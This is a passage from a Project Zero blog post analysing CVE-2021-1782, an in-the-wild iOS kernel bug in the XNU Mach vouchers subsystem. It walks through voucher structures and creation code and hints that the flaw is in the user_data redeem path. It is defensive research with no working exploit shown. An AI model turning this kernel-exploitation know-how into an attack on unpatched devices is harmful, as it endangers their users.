Posted by Ian Beer, Google Project Zero
This blog post is my analysis of a vulnerability exploited in the wild and patched in early 2021. Like the [writeup published last week](<https://googleprojectzero.blogspot.com/2022/04/cve-2021-30737-xerubs-2021-ios-asn1.html>) looking at an ASN.1 parser bug, this blog post is based on the notes I took as I was analyzing the patch and trying to understand the XNU vouchers subsystem. I hope that this writeup serves as the missing documentation for how some of the internals of the voucher subsystem works and its quirks which lead to this vulnerability.
CVE-2021-1782 was fixed in iOS 14.4, as noted by [@s1guza on twitter](<https://twitter.com/s1guza/status/1354575808547999744>):
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTx_FjnSHTtPtnk2F1K8-AYcTnVrIBNV8PNJQgZCOhfoIvU6hD7teqA3Jmb8T8KtIpnIYKuUqa28P-pt-yM2zUsWppkcmdx18pAP8r0XTQH4JHAhpNZkC2uALpz_Pn5_OXK3mXlblNG1i6TIEtLsksgez8GlLTi2zuxP0haGXzaU1XGEj2RQeNjOto/s1182/image1%20%283%29%281%29.png>)
This vulnerability was fixed on January 26th 2021, and Apple updated the iOS 14.4 release notes on May 28th 2021 to indicate that the issue may have been actively exploited:
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz_bD89bznHVJLkW_Kbwy-1JEoHaUyMfeaqDbpVjRTQ366r8ywGgSGps2aPyFa05wBuKWqAi2hJmm76dnbcgoV4YCFug4UWu3OhkHPgKjg6coamg35AId8VsOw5gkIHldyvefgRSX0klbhJ275wnwri6dzSTb_OZwwz2LeUeVjmHIAPsyirypsYonn/s1660/image2%20%282%29%281%29.png>)
## Vouchers
What exactly is a voucher?
The kernel code has a concise description:
Vouchers are a reference counted immutable (once-created) set of indexes to particular resource manager attribute values (which themselves are reference counted).
That definition is technically correct, though perhaps not all that helpful by itself.
To actually understand the root cause and exploitability of this vulnerability is going to require covering a lot of the voucher codebase. This part of XNU is pretty obscure, and pretty complicated.
A voucher is a reference-counted table of keys and values. Pointers to all created vouchers are stored in the global ivht_bucket hash table.
For a particular set of keys and values there should only be one voucher object. During the creation of a voucher there is a deduplication stage where the new voucher is compared against all existing vouchers in the hashtable to ensure they remain unique, returning a reference to the existing voucher if a duplicate has been found.
Here's the structure of a voucher:
struct ipc_voucher {
iv_index_t iv_hash; /* checksum hash */
iv_index_t iv_sum; /* checksum of values */
os_refcnt_t iv_refs; /* reference count */
iv_index_t iv_table_size; /* size of the voucher table */
iv_index_t iv_inline_table[IV_ENTRIES_INLINE];
iv_entry_t iv_table; /* table of voucher attr entries */
ipc_port_t iv_port; /* port representing the voucher */
queue_chain_t iv_hash_link; /* link on hash chain */
};
#define IV_ENTRIES_INLINE MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN
---
The voucher codebase is written in a very generic, extensible way, even though its actual use and supported feature set is quite minimal.
## Keys
Keys in vouchers are not arbitrary. Keys are indexes into a voucher's iv_table; a value's position in the iv_table table determines what "key" it was stored under. Whilst the vouchers codebase supports the runtime addition of new key types this feature isn't used and there are just a small number of fixed, well-known keys:
#define MACH_VOUCHER_ATTR_KEY_ALL ((mach_voucher_attr_key_t)~0)
#define MACH_VOUCHER_ATTR_KEY_NONE ((mach_voucher_attr_key_t)0)
/* other well-known-keys will be added here */
#define MACH_VOUCHER_ATTR_KEY_ATM ((mach_voucher_attr_key_t)1)
#define MACH_VOUCHER_ATTR_KEY_IMPORTANCE ((mach_voucher_attr_key_t)2)
#define MACH_VOUCHER_ATTR_KEY_BANK ((mach_voucher_attr_key_t)3)
#define MACH_VOUCHER_ATTR_KEY_PTHPRIORITY ((mach_voucher_attr_key_t)4)
#define MACH_VOUCHER_ATTR_KEY_USER_DATA ((mach_voucher_attr_key_t)7)
#define MACH_VOUCHER_ATTR_KEY_TEST ((mach_voucher_attr_key_t)8)
#define MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN MACH_VOUCHER_ATTR_KEY_TEST
---
The iv_inline_table in an ipc_voucher has 8 entries. But of those, only four are actually supported and have any associated functionality. The ATM voucher attributes are deprecated and the code supporting them is gone so only IMPORTANCE (2), BANK (3), PTHPRIORITY (4) and USER_DATA (7) are valid keys. There's some confusion (perhaps on my part) about when exactly you should use the term key and when attribute; I'll use them interchangeably to refer to these key values and the corresponding "types" of values which they manage. More on that later.
## Values
Each entry in a voucher iv_table is an iv_index_t:
typedef natural_t iv_index_t;
---
Each value is again an index; this time into a per-key cache of values, abstracted as a "Voucher Attribute Cache Control Object" represented by this structure:
struct ipc_voucher_attr_control {
os_refcnt_t ivac_refs;
boolean_t ivac_is_growing; /* is the table being grown */
ivac_entry_t ivac_table; /* table of voucher attr value entries */
iv_index_t ivac_table_size; /* size of the attr value table */
iv_index_t ivac_init_table_size; /* size of the attr value table */
iv_index_t ivac_freelist; /* index of the first free element */
ipc_port_t ivac_port; /* port for accessing the cache control */
lck_spin_t ivac_lock_data;
iv_index_t ivac_key_index; /* key index for this value */
};
---
These are accessed indirectly via another global table:
static ipc_voucher_global_table_element iv_global_table[MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN];
---
(Again, the comments in the code indicate that in the future that this table may grow in size and allow attributes to be managed in userspace, but for now it's just a fixed size array.)
Each element in that table has this structure:
typedef struct ipc_voucher_global_table_element {
ipc_voucher_attr_manager_t ivgte_manager;
ipc_voucher_attr_control_t ivgte_control;
mach_voucher_attr_key_t ivgte_key;
} ipc_voucher_global_table_element;
---
Both the iv_global_table and each voucher's iv_table are indexed by (key-1), not key, so the userdata entry is [6], not [7], even though the array still has 8 entries.
The ipc_voucher_attr_control_t provides an abstract interface for managing "values" and the ipc_voucher_attr_manager_t provides the "type-specific" logic to implement the semantics of each type (here by type I mean "key" or "attr" type.) Let's look more concretely at what that means. Here's the definition of ipc_voucher_attr_manager_t:
struct ipc_voucher_attr_manager {
ipc_voucher_attr_manager_release_value_t ivam_release_value;
ipc_voucher_attr_manager_get_value_t ivam_get_value;
ipc_voucher_attr_manager_extract_content_t ivam_extract_content;
ipc_voucher_attr_manager_command_t ivam_command;
ipc_voucher_attr_manager_release_t ivam_release;
ipc_voucher_attr_manager_flags ivam_flags;
};
---
ivam_flags is an int containing some flags; the other five fields are function pointers which define the semantics of the particular attr type. Here's the ipc_voucher_attr_manager structure for the user_data type:
const struct ipc_voucher_attr_manager user_data_manager = {
.ivam_release_value = user_data_release_value,
.ivam_get_value = user_data_get_value,
.ivam_extract_content = user_data_extract_content,
.ivam_command = user_data_command,
.ivam_release = user_data_release,
.ivam_flags = IVAM_FLAGS_NONE,
};
---
Those five function pointers are the only interface from the generic voucher code into the type-specific code. The interface may seem simple but there are some tricky subtleties in there; we'll get to that later!
Let's go back to the generic ipc_voucher_attr_control structure which maintains the "values" for each key in a type-agnostic way. The most important field is ivac_entry_t ivac_table, which is an array of ivac_entry_s's. It's an index into this table which is stored in each voucher's iv_table.
Here's the structure of each entry in that table:
struct ivac_entry_s {
iv_value_handle_t ivace_value;
iv_value_refs_t ivace_layered:1, /* layered effective entry */
ivace_releasing:1, /* release in progress */
ivace_free:1, /* on freelist */
ivace_persist:1, /* Persist the entry, don't
count made refs */
ivace_refs:28; /* reference count */
union {
iv_value_refs_t ivaceu_made; /* made count (non-layered) */
iv_index_t ivaceu_layer; /* next effective layer
(layered) */
} ivace_u;
iv_index_t ivace_next; /* hash or freelist */
iv_index_t ivace_index; /* hash head (independent) */
};
---
ivace_refs is a reference count for this table index. Note that this entry is inline in an array; so this reference count going to zero doesn't cause the ivac_entry_s to be free'd back to a kernel allocator (like the zone allocator for example.) Instead, it moves this table index onto a freelist of empty entries. The table can grow but never shrink.
Table entries which aren't free store a type-specific "handle" in ivace_value. Here's the typedef chain for that type:
iv_value_handle_t ivace_value
typedef mach_voucher_attr_value_handle_t iv_value_handle_t;
typedef uint64_t mach_voucher_attr_value_handle_t;
---
The handle is a uint64_t but in reality the attrs can (and do) store pointers there, hidden behind casts.
A guarantee made by the attr_control is that there will only ever be one (live) ivac_entry_s for a particular ivace_value. This means that each time a new ivace_value needs an ivac_entry the attr_control's ivac_table needs to be searched to see if a matching value is already present. To speed this up in-use ivac_entries are linked together in hash buckets so that a (hopefully significantly) shorter linked-list of entries can be searched rather than a linear scan of the whole table. (Note that it's not a linked-list of pointers; each link in the chain is an index into the table.)
## Userdata attrs
user_data is one of the four types of supported, implemented voucher attr types. It's only purpose is to manage buffers of arbitrary, user controlled data. Since the attr_control performs deduping only on the ivace_value (which is a pointer) the userdata attr manager is responsible for ensuring that userdata values which have identical buffer values (matching length and bytes) have identical pointers.
To do this it maintains a hash table of user_data_value_element structures, which wrap a variable-sized buffer of bytes:
struct user_data_value_element {
mach_voucher_attr_value_reference_t e_made;
mach_voucher_attr_content_size_t e_size;
iv_index_t e_sum;
iv_index_t e_hash;
queue_chain_t e_hash_link;
uint8_t e_data[];
};
---
Each inline e_data buffer can be up to 16KB. e_hash_link stores the hash-table bucket list pointer.
e_made is not a simple reference count. Looking through the code you'll notice that there are no places where it's ever decremented. Since there should (nearly) always be a 1:1 mapping between an ivace_entry and a user_data_value_element this structure shouldn't need to be reference counted. There is however one very fiddly race condition (which isn't the race condition which causes the vulnerability!) which necessitates the e_made field. This race condition is sort-of documented and we'll get there eventually...
## Recipes
The host_create_mach_voucher host port MIG ([Mach Interface Generator](<https://www.nextop.de/NeXTstep_3.3_Developer_Documentation/OperatingSystem/Part1_Mach/02_Messages/Messages.htmld/index.html>)) method is the userspace interface for creating vouchers:
kern_return_t
host_create_mach_voucher(mach_port_name_t host,
mach_voucher_attr_raw_recipe_array_t recipes,
mach_voucher_attr_recipe_size_t recipesCnt,
mach_port_name_t *voucher);
---
recipes points to a buffer filled with a sequence of packed variable-size mach_voucher_attr_recipe_data structures:
typedef struct mach_voucher_attr_recipe_data {
mach_voucher_attr_key_t key;
mach_voucher_attr_recipe_command_t command;
mach_voucher_name_t previous_voucher;
mach_voucher_attr_content_size_t content_size;
uint8_t content[];
} mach_voucher_attr_recipe_data_t;
---
key is one of the four supported voucher attr types we've seen before (importance, bank, pthread_priority and user_data) or a wildcard value (MACH_VOUCHER_ATTR_KEY_ALL) indicating that the command should apply to all keys. There are a number of generic commands as well as type-specific commands. Commands can optionally refer to existing vouchers via the previous_voucher field, which should name a voucher port.
Here are the supported generic commands for voucher creation:
MACH_VOUCHER_ATTR_COPY: copy the attr value from the previous voucher. You can specify the wildcard key to copy all the attr values from the previous voucher.
MACH_VOUCHER_ATTR_REMOVE: remove the specified attr value from the voucher under construction. This can also remove all the attributes from the voucher under construction (which, arguably, makes no sense.)
MACH_VOUCHER_ATTR_SET_VALUE_HANDLE: this command is only valid for kernel clients; it allows the caller to specify an arbitrary ivace_value, which doesn't make sense for userspace and shouldn't be reachable.
MACH_VOUCHER_ATTR_REDEEM: the semantics of redeeming an attribute from a previous voucher are not defined by the voucher code; it's up to the individual managers to determine what that might mean.
Here are the attr-specific commands for voucher creation for each type:
bank:
MACH_VOUCHER_ATTR_BANK_CREATE
MACH_VOUCHER_ATTR_BANK_MODIFY_PERSONA
MACH_VOUCHER_ATTR_AUTO_REDEEM
MACH_VOUCHER_ATTR_SEND_PREPROCESS
importance:
MACH_VOUCHER_ATTR_IMPORTANCE_SELF
user_data:
MACH_VOUCHER_ATTR_USER_DATA_STORE
pthread_priority:
MACH_VOUCHER_ATTR_PTHPRIORITY_CREATE
Note that there are further commands which can be "executed against" vouchers via the mach_voucher_attr_command MIG method which calls the attr manager's ivam_command function pointer. Those are:
bank:
BANK_ORIGINATOR_PID
BANK_PERSONA_TOKEN
BANK_PERSONA_ID
importance:
MACH_VOUCHER_IMPORTANCE_ATTR_DROP_EXTERNAL
user_data:
none
pthread_priority:
none
Let's look at example recipe for creating a voucher with a single user_data attr, consisting of the 4 bytes {0x41, 0x41, 0x41, 0x41}:
struct udata_dword_recipe {
mach_voucher_attr_recipe_data_t recipe;
uint32_t payload;
};
struct udata_dword_recipe r = {0};
r.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
r.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
r.recipe.content_size = sizeof(uint32_t);
r.payload = 0x41414141;
---
Let's follow the path of this recipe in detail.
Here's the most important part of host_create_mach_voucher showing the three high-level phases: voucher allocation, attribute creation and voucher de-duping. It's not the responsibility of this code to find or allocate a mach port for the voucher; that's done by the MIG layer code.
/* allocate new voucher */
voucher = iv_alloc(ivgt_keys_in_use);
if (IV_NULL == voucher) {
return KERN_RESOURCE_SHORTAGE;
}
/* iterate over the recipe items */
while (0 < recipe_size - recipe_used) {
ipc_voucher_t prev_iv;
if (recipe_size - recipe_used < sizeof(*sub_recipe)) {
kr = KERN_INVALID_ARGUMENT;
break;
}
/* find the next recipe */
sub_recipe =
(mach_voucher_attr_recipe_t)(void *)&recipes[recipe_used];
if (recipe_size - recipe_used - sizeof(*sub_recipe) <
sub_recipe->content_size) {
kr = KERN_INVALID_ARGUMENT;
break;
}
recipe_used += sizeof(*sub_recipe) + sub_recipe->content_size;
/* convert voucher port name (current space) */
/* into a voucher reference */
prev_iv =
convert_port_name_to_voucher(sub_recipe->previous_voucher);
if (MACH_PORT_NULL != sub_recipe->previous_voucher &&
IV_NULL == prev_iv) {
kr = KERN_INVALID_CAPABILITY;
break;
}
kr = ipc_execute_voucher_recipe_command(
voucher,
sub_recipe->key,
sub_recipe->command,
prev_iv,
sub_recipe->content,
sub_recipe->content_size,
FALSE);
ipc_voucher_release(prev_iv);
if (KERN_SUCCESS != kr) {
break;
}
}
if (KERN_SUCCESS == kr) {
*new_voucher = iv_dedup(voucher);
} else {
*new_voucher = IV_NULL;
iv_dealloc(voucher, FALSE);
}
---
At the top of this snippet a new voucher is allocated in iv_alloc. ipc_execute_voucher_recipe_command is then called in a loop to consume however many sub-recipe structures were provided by userspace. Each sub-recipe can optionally refer to an existing voucher via the sub-recipe previous_voucher field. Note that MIG doesn't natively support variable-sized structures containing ports so it's passed as a mach port name which is looked up in the calling task's mach port namespace and converted to a voucher reference by convert_port_name_to_voucher. The intended functionality here is to be able to refer to attrs in other vouchers to copy or "redeem" them. As discussed, the semantics of redeeming a voucher attr isn't defined by the abstract voucher code and it's up to the individual attr managers to decide what that means.
Once the entire recipe has been consumed and all the iv_table entries filled in, iv_dedup then searches the ivht_bucket hash table to see if there's an existing voucher with a matching set of attributes. Remember that each attribute value stored in a voucher is an index into the attribute controller's attribute table; and those attributes are unique, so it suffices to simply compare the array of voucher indexes to determine whether all attribute values are equal. If a matching voucher is found, iv_dedup returns a reference to the existing voucher and calls iv_dealloc to free the newly created newly-created voucher. Otherwise, if no existing, matching voucher is found, iv_dedup adds the newly created voucher to the ivht_bucket hash table.
Let's look at ipc_execute_voucher_recipe_command which is responsible for filling in the requested entries in the voucher iv_table. Note that key and command are arbitrary, controlled dwords. content is a pointer to a buffer of controlled bytes, and content_size is the correct size of that input buffer. The MIG layer limits the overall input size of the recipe (which is a collection of sub-recipes) to 5260 bytes, and any input content buffers would have to fit in there.
static kern_return_t
ipc_execute_voucher_recipe_command(
ipc_voucher_t voucher,
mach_voucher_attr_key_t key,
mach_voucher_attr_recipe_command_t command,
ipc_voucher_t prev_iv,
mach_voucher_attr_content_t content,
mach_voucher_attr_content_size_t content_size,
boolean_t key_priv)
{
iv_index_t prev_val_index;
iv_index_t val_index;
kern_return_t kr;
switch (command) {
---
MACH_VOUCHER_ATTR_USER_DATA_STORE isn't one of the switch statement case values here so the code falls through to the default case:
default:
kr = ipc_replace_voucher_value(voucher,
key,
command,
prev_iv,
content,
content_size);
if (KERN_SUCCESS != kr) {
return kr;
}
break;
}
return KERN_SUCCESS;
---
Here's that code:
static kern_return_t
ipc_replace_voucher_value(
ipc_voucher_t voucher,
mach_voucher_attr_key_t key,
mach_voucher_attr_recipe_command_t command,
ipc_voucher_t prev_voucher,
mach_voucher_attr_content_t content,
mach_voucher_attr_content_size_t content_size)
{
...
/*
* Get the manager for this key_index.
* Returns a reference on the control.
*/
key_index = iv_key_to_index(key);
ivgt_lookup(key_index, TRUE, &ivam, &ivac);
if (IVAM_NULL == ivam) {
return KERN_INVALID_ARGUMENT;
}
..
---
iv_key_to_index just subtracts 1 from key (assuming it's valid and not MACH_VOUCHER_ATRR_KEY_ALL):
static inline iv_index_t
iv_key_to_index(mach_voucher_attr_key_t key)
{
if (MACH_VOUCHER_ATTR_KEY_ALL == key ||
MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN < key) {
return IV_UNUSED_KEYINDEX;
}
return (iv_index_t)key - 1;
}
---
ivgt_lookup then gets a reference on that key's attr manager and attr controller. The manager is really just a bunch of function pointers which define the semantics of what different "key types" actually mean; and the controller stores (and caches) values for those keys.
Let's keep reading ipc_replace_voucher_value. Here's the next statement:
/* save the current value stored in the forming voucher */
save_val_index = iv_lookup(voucher, key_index);
---
This point is important for getting a good feeling for how the voucher code is supposed to work; recipes can refer not only to other vouchers (via the previous_voucher port) but they can also refer to themselves during creation. You don't have to have just one sub-recipe per attr type for which you wish to have a value in your voucher; you can specify multiple sub-recipes for that type. Does it actually make any sense to do that? Well, luckily for the security researcher we don't have to worry about whether functionality actually makes any sense; it's all just a weird machine to us! (There's allusions in the code to future functionality where attribute values can be "layered" or "linked" but for now such functionality doesn't exist.)
iv_lookup returns the "value index" for the given key in the particular voucher. That means it just returns the iv_index_t in the iv_table of the given voucher:
static inline iv_index_t
iv_lookup(ipc_voucher_t iv, iv_index_t key_index)
{
if (key_index < iv->iv_table_size) {
return iv->iv_table[key_index];
}
return IV_UNUSED_VALINDEX;
}
---
This value index uniquely identifies an existing attribute value, but you need to ask the attribute's controller for the actual value. Before getting that previous value though, the code first determines whether this sub-recipe might be trying to refer to the value currently stored by this voucher or has explicitly passed in a previous_voucher. The value in the previous voucher takes precedence over whatever is already in the under-construction voucher.
prev_val_index = (IV_NULL != prev_voucher) ?
iv_lookup(prev_voucher, key_index) :
save_val_index;
---
Then the code looks up the actual previous value to operate on:
ivace_lookup_values(key_index, prev_val_index,
previous_vals, &previous_vals_count);
---
key_index is the key we're operating on, MACH_VOUCHER_ATTR_KEY_USER_DATA in this example. This function is called ivace_lookup_values (note the plural). There are some comments in the voucher code indicating that maybe in the future values could themselves be put into a linked-list such that you could have larger values (or layered/chained values.) But this functionality isn't implemented; ivace_lookup_values will only ever return 1 value.
Here's ivace_lookup_values:
static void
ivace_lookup_values(
iv_index_t key_index,
iv_index_t value_index,
mach_voucher_attr_value_handle_array_t values,
mach_voucher_attr_value_handle_array_size_t *count)
{
ipc_voucher_attr_control_t ivac;
ivac_entry_t ivace;
if (IV_UNUSED_VALINDEX == value_index ||
MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN <= key_index) {
*count = 0;
return;
}
ivac = iv_global_table[key_index].ivgte_control;
assert(IVAC_NULL != ivac);
/*
* Get the entry and then the linked values.
*/
ivac_lock(ivac);
assert(value_index < ivac->ivac_table_size);
ivace = &ivac->ivac_table[value_index];
/*
* TODO: support chained values (for effective vouchers).
*/
assert(ivace->ivace_refs > 0);
values[0] = ivace->ivace_value;
ivac_unlock(ivac);
*count = 1;
}
---
The locking used in the vouchers code is very important for properly understanding the underlying vulnerability when we eventually get there, but for now I'm glossing over it and we'll return to examine the relevant locks when necessary.
Let's discuss the ivace_lookup_values code. They index the iv_global_table to get a pointer to the attribute type's controller:
ivac = iv_global_table[key_index].ivgte_control;
---
They take that controller's lock then index its ivac_table to find that value's struct ivac_entry_s and read the ivace_value value from there:
ivac_lock(ivac);
assert(value_index < ivac->ivac_table_size);
ivace = &ivac->ivac_table[value_index];
assert(ivace->ivace_refs > 0);
values[0] = ivace->ivace_value;
ivac_unlock(ivac);
*count = 1;
---
Let's go back to the calling function (ipc_replace_voucher_value) and keep reading:
/* Call out to resource manager to get new value */
new_value_voucher = IV_NULL;
kr = (ivam->ivam_get_value)(
ivam, key, command,
previous_vals, previous_vals_count,
content, content_size,
&new_value, &new_flag, &new_value_voucher);
if (KERN_SUCCESS != kr) {
ivac_release(ivac);
return kr;
}
---
ivam->ivam_get_value is calling the attribute type's function pointer which defines the meaning for the particular type of "get_value". The term get_value here is a little confusing; aren't we trying to store a new value? (and there's no subsequent call to a method like "store_value".) A better way to think about the semantics of get_value is that it's meant to evaluate both previous_vals (either the value from previous_voucher or the value currently in this voucher) and content (the arbitrary byte buffer from this sub-recipe) and combine/evaluate them to create a value representation. It's then up to the controller layer to store/cache that value. (Actually there's one tedious snag in this system which we'll get to involving locking...)
ivam_get_value for the user_data attribute type is user_data_get_value:
static kern_return_t
user_data_get_value(
ipc_voucher_attr_manager_t __assert_only manager,
mach_voucher_attr_key_t __assert_only key,
mach_voucher_attr_recipe_command_t command,
mach_voucher_attr_value_handle_array_t prev_values,
mach_voucher_attr_value_handle_array_size_t prev_value_count,
mach_voucher_attr_content_t content,
mach_voucher_attr_content_size_t content_size,
mach_voucher_attr_value_handle_t *out_value,
mach_voucher_attr_value_flags_t *out_flags,
ipc_voucher_t *out_value_voucher)
{
user_data_element_t elem;
assert(&user_data_manager == manager);
USER_DATA_ASSERT_KEY(key);
/* never an out voucher */
*out_value_voucher = IPC_VOUCHER_NULL;
*out_flags = MACH_VOUCHER_ATTR_VALUE_FLAGS_NONE;
switch (command) {
case MACH_VOUCHER_ATTR_REDEEM:
/* redeem of previous values is the value */
if (0 < prev_value_count) {
elem = (user_data_element_t)prev_values[0];
assert(0 < elem->e_made);
elem->e_made++;
*out_value = prev_values[0];
return KERN_SUCCESS;
}
/* redeem of default is default */
*out_value = 0;
return KERN_SUCCESS;
case MACH_VOUCHER_ATTR_USER_DATA_STORE:
if (USER_DATA_MAX_DATA < content_size) {
return KERN_RESOURCE_SHORTAGE;
}
/* empty is the default */
if (0 == content_size) {
*out_value = 0;
return KERN_SUCCESS;
}
elem = user_data_dedup(content, content_size);
*out_value = (mach_voucher_attr_value_handle_t)elem;
return KERN_SUCCESS;
default:
/* every other command is unknown */
return KERN_INVALID_ARGUMENT;
}
}
---
Let's look at the MACH_VOUCHER_ATTR_USER_DATA_STORE case, which is the command we put in our single sub-recipe. (The vulnerability is in the MACH_VOUCHER_ATTR_REDEEM code above but we need a lot more background before we get to that.) In the MACH_VOUCHER_ATTR_USER_DATA_STORE case the input arbitrary byte buffer is passed to user_data_dedup, then that return value is returned as the value of out_value. Here's user_data_dedup:
static user_data_element_t
user_data_dedup(
mach_voucher_attr_content_t content,
mach_voucher_attr_content_size_t content_size)
{
iv_index_t sum;
iv_index_t hash;
user_data_element_t elem;
user_data_element_t alloc = NULL;
sum = user_data_checksum(content, content_size);
hash = USER_DATA_HASH_BUCKET(sum);
retry:
user_data_lock();
queue_iterate(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link) {
assert(elem->e_hash == hash);
/* if sums match... */
if (elem->e_sum == sum && elem->e_size == content_size) {
iv_index_t i;
/* and all data matches */
for (i = 0; i < content_size; i++) {
if (elem->e_data[i] != content[i]) {
break;
}
}
if (i < content_size) {
continue;
}
/* ... we found a match... */
elem->e_made++;
user_data_unlock();
if (NULL != alloc) {
kfree(alloc, sizeof(*alloc) + content_size);
}
return elem;
}
}
if (NULL == alloc) {
user_data_unlock();
alloc = (user_data_element_t)kalloc(sizeof(*alloc) + content_size);
alloc->e_made = 1;
alloc->e_size = content_size;
alloc->e_sum = sum;
alloc->e_hash = hash;
memcpy(alloc->e_data, content, content_size);
goto retry;
}
queue_enter(&user_data_bucket[hash], alloc, user_data_element_t, e_hash_link);
user_data_unlock();
return alloc;
}
---
The user_data attributes are just uniquified buffer pointers. Each buffer is represented by a user_data_value_element structure, which has a meta-data header followed by a variable-sized inline buffer containing the arbitrary byte data:
struct user_data_value_element {
mach_voucher_attr_value_reference_t e_made;
mach_voucher_attr_content_size_t e_size;
iv_index_t e_sum;
iv_index_t e_hash;
queue_chain_t e_hash_link;
uint8_t e_data[];
};
---
Pointers to those elements are stored in the user_data_bucket hash table.
user_data_dedup searches the user_data_bucket hash table to see if a matching user_data_value_element already exists. If not, it allocates one and adds it to the hash table. Note that it's not allowed to hold locks while calling kalloc() so the code first has to drop the user_data lock, allocate a user_data_value_element then take the lock again and check the hash table a second time to ensure that another thread didn't also allocate and insert a matching user_data_value_element while the lock was dropped.
The e_made field of user_data_value_element is critical to the vulnerability we're eventually going to discuss, so let's examine its use here.
If a new user_data_value_element is created its e_made field is initialized to 1. If an existing user_data_value_element is found which matches the requested content buffer the e_made field is incremented before a pointer to that user_data_value_element is returned. Redeeming a user_data_value_element (via the MACH_VOUCHER_ATTR_REDEEM command) also just increments the e_made of the element being redeemed before returning it. The type of the e_made field is mach_voucher_attr_value_reference_t so it's tempting to believe that this field is a reference count. The reality is more subtle than that though.
The first hint that e_made isn't exactly a reference count is that if you search for e_made in XNU you'll notice that it's never decremented. There are also no places where a pointer to that structure is cast to another type which treats the first dword as a reference count. e_made can only ever go up (well technically there's also nothing stopping it overflowing so it can also go down 1 in every 232 increments...)
Let's go back up the stack to the caller of user_data_get_value, ipc_replace_voucher_value:
The next part is again code for unused functionality. No current voucher attr type implementations return a new_value_voucher so this condition is never true:
/* TODO: value insertion from returned voucher */
if (IV_NULL != new_value_voucher) {
iv_release(new_value_voucher);
}
---
Next, the code needs to wrap new_value in an ivace_entry and determine the index of that ivace_entry in the controller's table of values. This is done by ivace_reference_by_value:
/*
* Find or create a slot in the table associated
* with this attribute value. The ivac reference
* is transferred to a new value, or consumed if
* we find a matching existing value.
*/
val_index = ivace_reference_by_value(ivac, new_value, new_flag);
iv_set(voucher, key_index, val_index);
---
/*
* Look up the values for a given <key, index> pair.
*
* Consumes a reference on the passed voucher control.
* Either it is donated to a newly-created value cache
* or it is released (if we piggy back on an existing
* value cache entry).
*/
static iv_index_t
ivace_reference_by_value(
ipc_voucher_attr_control_t ivac,
mach_voucher_attr_value_handle_t value,
mach_voucher_attr_value_flags_t flag)
{
ivac_entry_t ivace = IVACE_NULL;
iv_index_t hash_index;
iv_index_t index;
if (IVAC_NULL == ivac) {
return IV_UNUSED_VALINDEX;
}
ivac_lock(ivac);
restart:
hash_index = IV_HASH_VAL(ivac->ivac_init_table_size, value);
index = ivac->ivac_table[hash_index].ivace_index;
while (index != IV_HASH_END) {
assert(index < ivac->ivac_table_size);
ivace = &ivac->ivac_table[index];
assert(!ivace->ivace_free);
if (ivace->ivace_value == value) {
break;
}
assert(ivace->ivace_next != index);
index = ivace->ivace_next;
}
/* found it? */
if (index != IV_HASH_END) {
/* only add reference on non-persistent value */
if (!ivace->ivace_persist) {
ivace->ivace_refs++;
ivace->ivace_made++;
}
ivac_unlock(ivac);
ivac_release(ivac);
return index;
}
/* insert new entry in the table */
index = ivac->ivac_freelist;
if (IV_FREELIST_END == index) {
/* freelist empty */
ivac_grow_table(ivac);
goto restart;
}
/* take the entry off the freelist */
ivace = &ivac->ivac_table[index];
ivac->ivac_freelist = ivace->ivace_next;
/* initialize the new entry */
ivace->ivace_value = value;
ivace->ivace_refs = 1;
ivace->ivace_made = 1;
ivace->ivace_free = FALSE;
ivace->ivace_persist = (flag & MACH_VOUCHER_ATTR_VALUE_FLAGS_PERSIST) ? TRUE : FALSE;
/* insert the new entry in the proper hash chain */
ivace->ivace_next = ivac->ivac_table[hash_index].ivace_index;
ivac->ivac_table[hash_index].ivace_index = index;
ivac_unlock(ivac);
/* donated passed in ivac reference to new entry */
return index;
}
---
You'll notice that this code has a very similar structure to user_data_dedup; it needs to do almost exactly the same thing. Under a lock (this time the controller's lock) traverse a hash table looking for a matching value. If one can't be found, allocate a new entry and put the value in the hash table. The same unlock/lock dance is needed, but not every time because ivace's are kept in a table of struct ivac_entry_s's so the lock only needs to be dropped if the table needs to grow.
If a new entry is allocated (from the freelist of ivac_entry's in the table) then its reference count (ivace_refs) is set to 1, and its ivace_made count is set to 1. If an existing entry is found then both its ivace_refs and ivace_made counts are incremented:
ivace->ivace_refs++;
ivace->ivace_made++;
---
Finally, the index of this entry in the table of all the controller's entries is returned, because it's the index into that table which a voucher stores; not a pointer to the ivace.
ivace_reference_by_value then calls iv_set to store that index into the correct slot in the voucher's iv_table, which is just a simple array index operation:
iv_set(voucher, key_index, val_index);
---
static void
iv_set(ipc_voucher_t iv,
iv_index_t key_index,
iv_index_t value_index)
{
assert(key_index < iv->iv_table_size);
iv->iv_table[key_index] = value_index;
}
---
Our journey following this recipe is almost over! Since we only supplied one sub-recipe we exit the loop in host_create_mach_voucher and reach the call to iv_dedup:
if (KERN_SUCCESS == kr) {
*new_voucher = iv_dedup(voucher);
---
I won't show the code for iv_dedup here because it's again structurally almost identical to the two other levels of deduping we've examined. In fact it's a little simpler because it can hold the associated hash table lock the whole time (via ivht_lock()) since it doesn't need to allocate anything. If a match is found (that is, the hash table already contains a voucher with exactly the same set of value indexes) then a reference is taken on that existing voucher and a reference is dropped on the voucher we just created from the input recipe via iv_dealloc:
iv_dealloc(new_iv, FALSE);
---
The FALSE argument here indicates that new_iv isn't in the ivht_bucket hashtable so shouldn't be removed from there if it is going to be destroyed. Vouchers are only added to the hashtable after the deduping process to prevent deduplication happening against incomplete vouchers.
The final step occurs when host_create_mach_voucher returns. Since this is a MIG method, if it returns success and new_voucher isn't IV_NULL, new_voucher will be converted into a mach port; a send right to which will be given to the userspace caller. This is the final level of deduplication; there can only ever be one mach port representing a particular voucher. This is implemented by the voucher structure's iv_port member.
(For the sake of completeness note that there are actually two userspace interfaces to host_create_mach_voucher; the host port MIG method and also the host_create_mach_voucher_trap mach trap. The trap interface has to emulate the MIG semantics though.)
## Destruction
Although I did briefly hint at a vulnerability above we still haven't actually seen enough code to determine that that bug actually has any security consequences. This is where things get complicated ;-)
Let's start with the result of the situation we described above, where we created a voucher port with the following recipe:
struct udata_dword_recipe {
